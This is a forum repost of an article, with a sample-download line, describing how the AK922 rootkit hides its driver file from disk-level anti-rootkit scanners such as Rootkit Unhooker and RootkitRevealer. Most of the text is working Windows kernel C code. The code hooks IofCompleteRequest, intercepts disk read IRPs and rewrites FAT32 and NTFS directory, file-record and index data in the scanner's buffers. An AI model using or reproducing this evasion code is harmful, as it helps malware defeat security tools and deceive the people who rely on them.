-
-
[转帖]AK922: 绕过低级磁盘扫描系统隐藏文件。
-
发表于: 2008-8-11 07:06 5193
-
Currently, there are two main methods for the public mainstream anti-rootkit detecting hidden files: the first is the file system layer's detection, fall into this category are icesword, darkspy, gmer such. Second is the disk low level scanning, fall into this category such as rootkit unhooker, filereg (is's plug-in), rootkit revealer, and blacklight, etc. Of course, there are some other tools running in the user-mode, call ZwQueryDirectoryFile to implement detection. Driver or application, said plainly just send IRPs to the lower driver directly or indirectly. The first category send IRPs to FSD (fastfat.sys / ntfs.sys), while the second type send to disk driver(disk.sys). Then IRPs will return, carrying information corresponding to the file, the upper applications can process and judge the returned infor at this time. However, disk layer is more lower than FS layer, the info IRPs return to us is the disk sector data more closer to the original data organization, so the detection implementing on the disk layer can get more convincing results. But it doesn't mean such detection cannot be defeated. This paper will introduce a bypass such detection method, of course, this is also used in AK922. For the RK To hide file, it is better to say "intercept" than "bypass" - just hook the kernel function call to provide the opportunity of filter the info to be hidden for us before return to upper. AK922, the method used was to hook kernel function IofCompleteRequest. This function is very interesting, because it is not only a any-driver-will-call function, but also contains the parameters of IRP. IRP is everything to us! These characteristics determine it is suitable for our "puppet". But more important is, operations have been completed at the time driver calls it, IRPs have been filled with data in the relevant member, which make it easier for us to proceed to filter sth directly without sending IRPs & installing completion routine. Now let's focus on the workflow: First, judge MajorFunction if it's IRP_MJ_READ and io stack location's DeviceObject whether it is the disk device object. Because we need to deal with these core IRPs -- all the guys sent directly to the disk driver layer can be intercepted here. The following work you must pay special attention. You'd better not forget you're executing at or above APC_LEVEL When entered here. That's to say you cannot touch any user-mode buffer, otherwise, most likely BSOD. In other words, we cannot deal with the related disk sector data directly, and must queue a WorkItem through ExQueueWorkItem. Moreover, since disk layer is at a relatively lower position in the device stack, the current process context is no longer the context owned by initiator of the original IRP when most of IRPs arrive here (the "initiator" should be understood as the ARK's process here). Fortunately, IRP's Tail.Overlay.Thread member still preserves its original initiator's thread pointer. That's useful to us. In order to operate user-mode buffer we must call KeAttachProcess, switch to the initiator's context, and it can only work in the worker thread which is executing at PASSIVE_LEVEL. At DISPATCH_LEVEL, the less you do, the safer you gain. I started to deal with the two cases: Since not all the IRPs are in the different executing context, such as icesword's IRPs, still in the executing context of icesword.exe here. Then I think I needn't queue the workitem and it can save a lot of system resources, improve filtering efficiency. So I tried to operate user-mode buffer at DISPATCH_LEVEL directly, but this doesn't work, I always get BSOD, so just queue the fucking workitem, and then judge it. Code as follows: if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0) { orgnThread = Irp->Tail.Overlay.Thread; orgnProcess = IoThreadToProcess(orgnThread); if(Irp->MdlAddress) { UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset); //userbuffer should be valid if(UserBuffer) { if(KeGetCurrentIrql() == DISPATCH_LEVEL) { RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX)); WorkerCtx->UserBuffer = UserBuffer; WorkerCtx->Length = irpSp->Parameters.Read.Length; WorkerCtx->EProc = orgnProcess; ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx); ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue); } } } } Arrive at the worker thread, change to the PASSIVE_LEVEL, switch to the original context, it seems much safer. But we should call ProbeForXxx to spy the dark first before operating use-mode buffer just in case of BSOD. Code as follows: VOID WorkerThread(PVOID Context) { KIRQL irql; PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc; PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc; //PMDL mdl; if(((PWORKERCTX)Context)->UserBuffer) { if(eproc != currProc) { KeAttachProcess(eproc); __try{ // ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); } __except(EXCEPTION_EXECUTE_HANDLER){ //DbgPrint("we can't op the buffer now :-("); KeDetachProcess(); return; } KeDetachProcess(); }else{ __try{ // ProbeForWrite must be running <= APC_LEVEL ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); } __except(EXCEPTION_EXECUTE_HANDLER){} } } } Everything's ready, now it's time for doodling. This will involve FAT32 and NTFS disk volume structure. I just list out the main struct we used, for more information take a look at《NTFS Documentation》. typedef struct _INDEX_HEADER{ UCHAR magic[4]; USHORT UpdateSequenceOffset; USHORT SizeInWords; LARGE_INTEGER LogFileSeqNumber; LARGE_INTEGER VCN; ULONG IndexEntryOffset; // needed! ULONG IndexEntrySize; ULONG AllocateSize; }INDEX_HEADER, *PINDEX_HEADER; typedef struct _INDEX_ENTRY{ LARGE_INTEGER MFTReference; USHORT Size; // needed! USHORT FileNameOffset; USHORT Flags; USHORT Padding; LARGE_INTEGER MFTReferParent; LARGE_INTEGER CreationTime; LARGE_INTEGER ModifyTime; LARGE_INTEGER FileRecModifyTime; LARGE_INTEGER AccessTime; LARGE_INTEGER AllocateSize; LARGE_INTEGER RealSize; LARGE_INTEGER FileFlags; UCHAR FileNameLength; UCHAR NameSpace; WCHAR FileName[1]; }INDEX_ENTRY, *PINDEX_ENTRY; On FAT32 volume, AK922 searches for the ak922.sys's directory entry, and then modifies the first bytes as "0xe5"(mark as deleted), in this way, ark can be cheated. However, in order to be more subtle not detected by winhex, AK922 set the file name buffer to zero. There's a little more trouble with NTFS volume. File record and index entry should both be handled, details as following codes: VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen) { ULONG i; BOOLEAN bIsNtfsIndex; BOOLEAN bIsNtfsFile; ULONG offset = 0; ULONG indexSize = 0; PINDEX_ENTRY currIndxEntry = NULL; PINDEX_ENTRY preIndxEntry = NULL; ULONG currPosition; bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0); if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) { for(i = 0; i < BufLen/0x20; i++) { if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) { *(PUCHAR)UserBuf = 0xe5; *(PULONG)((ULONG)UserBuf + 0x1) = 0; break; } UserBuf = (PVOID)((ULONG)UserBuf + 0x20); } } else if(bIsNtfsFile) { //DbgPrint("FILE0..."); for(i = 0; i < BufLen / FILERECORDSIZE; i++) { if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) { memset((PVOID)UserBuf, 0, 0x4); memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18); break; } UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE); } } else if(bIsNtfsIndex) { //DbgPrint("INDX..."); // Index Entries offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; indexSize = BufLen - offset; currPosition = 0; currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize); while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) { if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)) { memset((PVOID)currIndxEntry->FileName, 0, 18); if(currPosition == 0) { ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; break; } preIndxEntry->Size += currIndxEntry->Size; break; } currPosition += currIndxEntry->Size; preIndxEntry = currIndxEntry; currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size); } } }
样本下载:
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
- [转帖]用多媒体学Visual C++ 2008 系统学习VC 2008必备教程 8321
- [下载]新壳 OSP软件平台功能说明 6110
- [讨论]微点不识英文?! 6723
- [转帖]R3隐藏硬盘分区 8288
- [推荐]内存清零KILL进程 16590
谁下载
littlefish
cyliu
ysoni
swordww
ffsj
mxt72
madsys
gx_sz
Niklen
jackal
fzdfkjew
figo
fengyun
Jemmy
RuShi
bishamon
骑驴找马
我是大头
Winker
davidfoxhu
hash
pkcmd
keenjoy
ttabcs
wwwst
cradiator
cnwcw
ylautyboy
SongLei
百折不挠
xPLK
xacker
aqiusoft
李敬利
云天海
combojiang
mooncrack
uvbs
xiejienet
guoxiabin
yuelg
wangpu
杀比
intyu
yangxingyu
siquba
sding
jackeylee
khongninh
hacktrace
diybl
mofile
哈哈在世
dspapi
fresharp
linooo
haras
embedlinux
dnfreeuser
liukeblue
wguolcy
bpbebdsiy
xcntime
nopop
redbigbug
nguyen
火彩
tmdwoaini
高比拜仁
zhij
tiany
canopus
jackalan
流云似水
gpaul
sillyer
shee
weiwu杨
zhangzdzzd
eepo
chhzh
yushiqiang
niumiapple
fwxj星星
wangwwwang
ylxqll
安达
sxjl
LintChD
fhurricane
lanliqiang
gjden
donself
影卡卡西
Dearyz
◕‿◕
lcode
wegwggh
viphack
watchsky
赞赏
雪币:
留言: